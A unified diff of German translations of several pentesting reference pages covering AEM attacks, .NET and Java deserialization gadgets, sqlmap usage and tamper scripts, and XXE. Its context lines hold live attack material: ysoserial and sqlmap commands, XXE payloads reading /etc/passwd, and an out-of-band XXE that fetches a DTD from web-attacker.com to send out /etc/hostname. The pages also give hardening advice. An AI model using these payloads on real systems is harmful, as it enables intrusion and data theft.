@ -93,16 +93,16 @@ Jetzt anfordern `/content/evil.jsp` – das JSP läuft mit dem AEM-Prozessbenutz
|
||||
|
||||
## 6. Tooling
|
||||
|
||||
* **aem-hacker** – Schweizer Taschenmesser für Enumeration, unterstützt Dispatcher-Bypass, SSRF-Erkennung, Standard-Credentials-Überprüfungen und mehr.
|
||||
* **aem-hacker** – Schweizer Taschenmesser für die Enumeration, unterstützt Dispatcher-Bypass, SSRF-Erkennung, Standard-Credentials-Überprüfungen und mehr.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – rekursiv `/_jcr_content.(json|html)` anfordern, um versteckte Komponenten zu entdecken.
|
||||
* **osgi-infect** – bösartiges OSGi-Bundle über `/system/console/bundles` hochladen, wenn Anmeldeinformationen verfügbar sind.
|
||||
* **osgi-infect** – bösartiges OSGi-Bundle über `/system/console/bundles` hochladen, wenn Credentials verfügbar sind.
|
||||
|
||||
---
|
||||
|
||||
## 7. Härtungscheckliste (für die Empfehlungen Ihres Berichts)
|
||||
## 7. Hardening-Checkliste (für die Empfehlungen Ihres Berichts)
|
||||
|
||||
1. Halten Sie die Instanz auf dem **neueste kumulative Servicepack** (Stand Juli 2025: 6.5.22).
|
||||
2. Entfernen/rotieren Sie Standardkonten; erzwingen Sie SSO/SAML.
|
||||
|
||||
@ -7,7 +7,7 @@ Dieser Beitrag ist gewidmet, um **zu verstehen, wie das Gadget ObjectDataProvide
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
Aus der Dokumentation: _Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können_.\
|
||||
Ja, es ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter festzulegen**, und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\
|
||||
Ja, es ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu **beliebigen Parametern zu setzen** und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\
|
||||
Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführen, während es deserialisiert wird.**
|
||||
|
||||
### **Wie ist das möglich**
|
||||
@ -30,7 +30,7 @@ Beachten Sie, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. La
|
||||
|
||||
.png>)
|
||||
|
||||
Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**.
|
||||
Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf;** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**.
|
||||
|
||||
Wenn Sie überprüfen möchten, dass durch das Setzen von _**MethodName**_** es ausgeführt wird**, können Sie diesen Code ausführen:
|
||||
```java
|
||||
@ -58,7 +58,7 @@ Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.303
|
||||
|
||||
Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis vom Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Weitere [Informationen zur DotNetNuke-Schwachstelle finden Sie hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
|
||||
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Diese Klasse kann verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
|
||||
Dies ist sehr nützlich für Fälle wie den zuvor dargestellten, da wir in der Lage sein werden, **_ObjectDataProvider**_** innerhalb einer **_**ExpandedWrapper** _ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
|
||||
|
||||
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
|
||||
@ -188,7 +188,7 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
|
||||
Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die missbraucht werden können, wenn eine Anwendung **unsichere .NET-Deserialisierung** durchführt. Moderne Red-Team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **einsatzbereiten bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
|
||||
|
||||
Unten finden Sie ein kompaktes Referenzblatt der nützlichsten Ketten, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Generierung der Payloads.
|
||||
Unten finden Sie ein komprimiertes Referenzblatt der nützlichsten Ketten, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Generierung der Payloads.
|
||||
|
||||
| Gadget-Kette | Schlüsselidee / Primitive | Häufige Serializer | YSoNet-Einzeiler |
|
||||
|--------------|---------------------------|--------------------|------------------|
|
||||
@ -204,7 +204,7 @@ Unten finden Sie ein kompaktes Referenzblatt der nützlichsten Ketten, die mit *
|
||||
|
||||
### YSoNet erstellen / installieren
|
||||
|
||||
Wenn keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, wird die folgende **PowerShell**-Einzeiler-Umgebung eingerichtet, das Repository geklont und alles im *Release*-Modus kompiliert:
|
||||
Wenn keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, wird der folgende **PowerShell**-Einzeiler eine Build-Umgebung einrichten, das Repository klonen und alles im *Release*-Modus kompilieren:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -219,9 +219,9 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
Die kompilierte `ysonet.exe` ist dann unter `ysonet/bin/Release/` zu finden.
|
||||
|
||||
### Erkennung & Härtung
|
||||
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der benutzereingereichte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
|
||||
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der Benutzerdaten deserialisiert (z. B. `MessagePack`, `Json.NET`).
|
||||
* Aktivieren und **erzwingen Sie die Typfilterung** (`TypeFilterLevel` = *Full*, benutzerdefinierter `SurrogateSelector`, `SerializationBinder`, *usw.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
|
||||
* Wo möglich, migrieren Sie zu **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit konverterbasierten Whitelists.
|
||||
* Wo möglich, migrieren Sie zu **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit konvertierbaren Whitelists.
|
||||
* Blockieren Sie gefährliche WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`), die in Webprozessen geladen werden, die sie niemals benötigen sollten.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@ -18,7 +18,7 @@ Das Java `Serializable`-Interface (`java.io.Serializable`) ist ein Marker-Interf
|
||||
|
||||
Jede Methode in dieser Kette, die letztendlich Angreifer-kontrollierte Daten aufruft (Befehlsausführung, JNDI-Abfragen, Reflection usw.), verwandelt die Deserialisierungsroutine in ein RCE-Gadget.
|
||||
|
||||
Lassen Sie uns ein Beispiel mit einer **Klasse Person** ansehen, die **serialisierbar** ist. Diese Klasse **überschreibt die readObject**-Funktion, sodass, wenn **irgendein Objekt** dieser **Klasse** **deserialisiert** wird, diese **Funktion** **ausgeführt** wird.\
|
||||
Lassen Sie uns ein Beispiel mit einer **Klasse Person** sehen, die **serialisierbar** ist. Diese Klasse **überschreibt die readObject**-Funktion, sodass, wenn **irgendein Objekt** dieser **Klasse** **deserialisiert** wird, diese **Funktion** **ausgeführt** wird.\
|
||||
Im Beispiel ruft die **readObject**-Funktion der Klasse Person die Funktion `eat()` seines Haustiers auf, und die Funktion `eat()` eines Hundes (aus irgendeinem Grund) ruft eine **calc.exe** auf. **Wir werden sehen, wie man ein Person-Objekt serialisiert und deserialisiert, um diesen Rechner auszuführen:**
|
||||
|
||||
**Das folgende Beispiel stammt von <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
@ -106,7 +106,7 @@ Wie Sie in diesem sehr einfachen Beispiel sehen können, tritt die „Schwachste
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (Port 10880) akzeptierte XML-kodierte Java-Objekte, was zu RCE als root/SYSTEM führte.
|
||||
* 2024 – Mehrere neue Gadget-Ketten wurden zu ysoserial-plus(mod) hinzugefügt, einschließlich Hibernate5, TomcatEmbed und SnakeYAML 2.x-Klassen, die einige alte Filter umgehen.
|
||||
|
||||
## Moderne Abhilfemaßnahmen, die Sie implementieren sollten
|
||||
## Moderne Abwehrmaßnahmen, die Sie implementieren sollten
|
||||
|
||||
1. **JEP 290 / Serialisierungsfilterung (Java 9+)**
|
||||
*Fügen Sie eine Erlauben- oder Verweigern-Liste von Klassen hinzu:*
|
||||
@ -121,7 +121,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Kontext-spezifische Filterfabriken** – verwenden Sie einen `BinaryOperator<ObjectInputFilter>`, um unterschiedliche Filter pro Ausführungskontext anzuwenden (z. B. pro RMI-Aufruf, pro Nachrichtenwarteschlangenverbraucher).
|
||||
3. **Keine rohen `ObjectInputStream` über das Netzwerk exponieren** – bevorzugen Sie JSON/Binärkodierungen ohne Codeausführungssemantik (Jackson nach Deaktivierung von `DefaultTyping`, Protobuf, Avro usw.).
|
||||
4. **Defense-in-Depth-Limits** – Setzen Sie maximale Array-Längen, Tiefen, Referenzen:
|
||||
4. **Defense-in-Depth-Limits** – Setzen Sie maximale Array-Länge, Tiefe, Referenzen:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
```
|
||||
@ -133,7 +133,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```bash
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – immer noch das Referenzwerkzeug zur JNDI-Gadget-Generierung (LDAP/RMI).
|
||||
* `marshalsec` – immer noch das Referenztool für JNDI-Gadget-Generierung (LDAP/RMI).
|
||||
* `gadget-probe` – schnelle Black-Box-Gadget-Entdeckung gegen Netzwerkdienste.
|
||||
* `SerialSniffer` – JVMTI-Agent, der jede Klasse druckt, die von `ObjectInputStream` gelesen wird (nützlich zum Erstellen von Filtern).
|
||||
* **Erkennungstipp** – aktivieren Sie `-Djdk.serialDebug=true` (JDK 22+), um Filterentscheidungen und abgelehnte Klassen zu protokollieren.
|
||||
|
||||
@ -145,8 +145,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID\(A, B, C\)' durch 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT\(A, B\)' durch 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) |
|
||||
| charunicodeencode.py | Unicode-url-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "\u0022" |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich \('='\) durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen \(' und "\) |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator \('>'\) durch das 'GREATEST'-Gegenstück |
|
||||
@ -170,7 +170,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| space2mssqlhash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer neuen Zeile \('\n'\) |
|
||||
| space2mysqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2mysqldash.py | Ersetzt das Leerzeichen \(' '\) durch einen Strichkommentar \('--'\), gefolgt von einer neuen Zeile \('\n'\) |
|
||||
| space2plus.py | Ersetzt das Leerzeichen \(' '\) durch Plus \('+'\) |
|
||||
| space2plus.py | Ersetzt das Leerzeichen \(' '\) durch ein Pluszeichen \('+'\) |
|
||||
| space2randomblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke \(&& und |
|
||||
| unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT |
|
||||
|
||||
@ -32,11 +32,11 @@ Die `--technique`-Option ermöglicht es Ihnen, die SQL-Injection-Techniken, die
|
||||
| B | Boolean-basiert blind | Verwendet Wahr/Falsch-Bedingungen in der Seitenantwort, um Ergebnisse abzuleiten |
|
||||
| E | Fehlerbasiert | Nutzt ausführliche DBMS-Fehlermeldungen, um Daten zu extrahieren |
|
||||
| U | UNION-Abfrage | Injiziert `UNION SELECT`-Anweisungen, um Daten über denselben Kanal abzurufen |
|
||||
| S | Gestapelte Abfragen | Fügt zusätzliche Anweisungen hinzu, die durch einen SQL-Trennzeichen (`;`) getrennt sind |
|
||||
| S | Gestapelte Abfragen | Fügt zusätzliche Anweisungen hinzu, die durch einen SQL-Trenner (`;`) getrennt sind |
|
||||
| T | Zeitbasiert blind | Vertraut auf `SLEEP/WAITFOR`-Verzögerungen, um injizierbare Bedingungen zu erkennen |
|
||||
| Q | Inline / out-of-band | Nutzt Funktionen wie `LOAD_FILE()` oder DNS-Exfiltration, um Daten zu extrahieren |
|
||||
|
||||
Die Standardreihenfolge, die sqlmap folgen wird, ist `BEUSTQ` (alle Techniken). Sie können sowohl die Reihenfolge als auch die Teilmenge ändern. Zum Beispiel wird der folgende Befehl **nur** versuchen, UNION-Abfrage- und zeitbasierte blind Techniken anzuwenden, wobei UNION zuerst versucht wird:
|
||||
Die Standardreihenfolge, die sqlmap folgen wird, ist `BEUSTQ` (alle Techniken). Sie können sowohl die Reihenfolge als auch die Teilmenge ändern. Zum Beispiel wird der folgende Befehl **nur** versuchen, UNION-Abfrage- und zeitbasierte blind-Techniken anzuwenden, wobei UNION zuerst versucht wird:
|
||||
```bash
|
||||
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
```
|
||||
@ -99,7 +99,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```
|
||||
### Erkennungstechnik hinzufügen
|
||||
|
||||
Wenn Sie eine SQLi gefunden haben, aber sqlmap sie nicht erkannt hat, können Sie die Erkennungstechnik mit Argumenten wie `--prefix` oder `--suffix` erzwingen, oder, wenn es komplexer ist, sie zu den Payloads hinzufügen, die von sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` verwendet werden, zum Beispiel für zeitblind basierte.
|
||||
Wenn Sie eine SQLi gefunden haben, aber sqlmap sie nicht erkannt hat, können Sie die Erkennungstechnik mit Argumenten wie `--prefix` oder `--suffix` erzwingen, oder wenn es komplexer ist, sie zu den Payloads hinzufügen, die von sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` verwendet werden, zum Beispiel für zeitblind basierte.
|
||||
|
||||
### Eval
|
||||
|
||||
@ -154,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
Denke daran, dass **du dein eigenes Tamper in Python erstellen kannst** und es sehr einfach ist. Du kannst ein Tamper-Beispiel auf der [Seite zur Zweiten Ordnung Injection hier](second-order-injection-sqlmap.md) finden.
|
||||
Denke daran, dass **du dein eigenes Tamper in Python erstellen kannst** und es sehr einfach ist. Du kannst ein Tamper-Beispiel auf der [Second Order Injection-Seite hier](second-order-injection-sqlmap.md) finden.
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -167,13 +167,13 @@ Denke daran, dass **du dein eigenes Tamper in Python erstellen kannst** und es s
|
||||
| base64encode.py | Base64-kodiert alle Zeichen in einer gegebenen Payload |
|
||||
| between.py | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "\u0022" |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen (' und ") |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück |
|
||||
@ -183,8 +183,8 @@ Denke daran, dass **du dein eigenes Tamper in Python erstellen kannst** und es s
|
||||
| modsecurityzeroversioned.py | Umhüllt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen ('%') vor jedes Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| percentage.py | Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
|
||||
|
||||
@ -8,7 +8,7 @@ XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport vo
|
||||
|
||||
- **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich spezieller Zeichen wie `<` und `>`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
|
||||
- **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten dürfen, von beliebigem Inhalt bis hin zu spezifischen Kind-Elementen.
|
||||
- **Dokumenttypdefinition (DTD)**: DTDs sind entscheidend in XML, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
|
||||
- **Dokumenttypdefinition (DTD)**: DTDs sind in XML entscheidend für die Definition der Struktur des Dokuments und der Arten von Daten, die es enthalten kann. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
|
||||
- **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD für eine flexible Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Kontext von XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen behandeln: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
@ -33,7 +33,7 @@ In diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration fun
|
||||
|
||||
### Datei lesen
|
||||
|
||||
Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen zu lesen: `C:\windows\system32\drivers\etc\hosts`
|
||||
Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, zu lesen: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktioniert.
|
||||
```xml
|
||||
@ -106,10 +106,10 @@ Die Struktur ist wie folgt:
|
||||
```
|
||||
Die von diesem DTD ausgeführten Schritte umfassen:
|
||||
|
||||
1. **Definition von Parameter-Entitäten:**
|
||||
- Eine XML-Parameter-Entität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
|
||||
- Eine weitere XML-Parameter-Entität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameter-Entität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet, wobei der Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergeben wird.
|
||||
2. **Ausführung von Entitäten:**
|
||||
1. **Definition von Parameterentitäten:**
|
||||
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
|
||||
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie deklariert dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
|
||||
2. **Ausführung der Entitäten:**
|
||||
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
|
||||
- Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.
|
||||
|
||||
@ -121,7 +121,7 @@ Der Angreifer hostet dieses bösartige DTD auf einem Server unter seiner Kontrol
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie innerhalb der DTD. Wenn sie von einem XML-Parser verarbeitet wird, ruft dieses Payload die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD skizzierten Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.
|
||||
Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in die DTD. Wenn sie von einem XML-Parser verarbeitet wird, ruft dieses Payload die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD skizzierten Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.
|
||||
|
||||
### Fehlerbasiert (Externe DTD)
|
||||
|
||||
@ -130,7 +130,7 @@ Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in
|
||||
Eine XML-Parsing-Fehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:
|
||||
|
||||
1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
|
||||
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, beim Auswerten eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
|
||||
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
|
||||
3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
|
||||
4. Der Aufruf der `error`-Entität führt zu dem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.
|
||||
|
||||
@ -152,7 +152,7 @@ Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen bl
|
||||
|
||||
Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen.
|
||||
|
||||
Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
|
||||
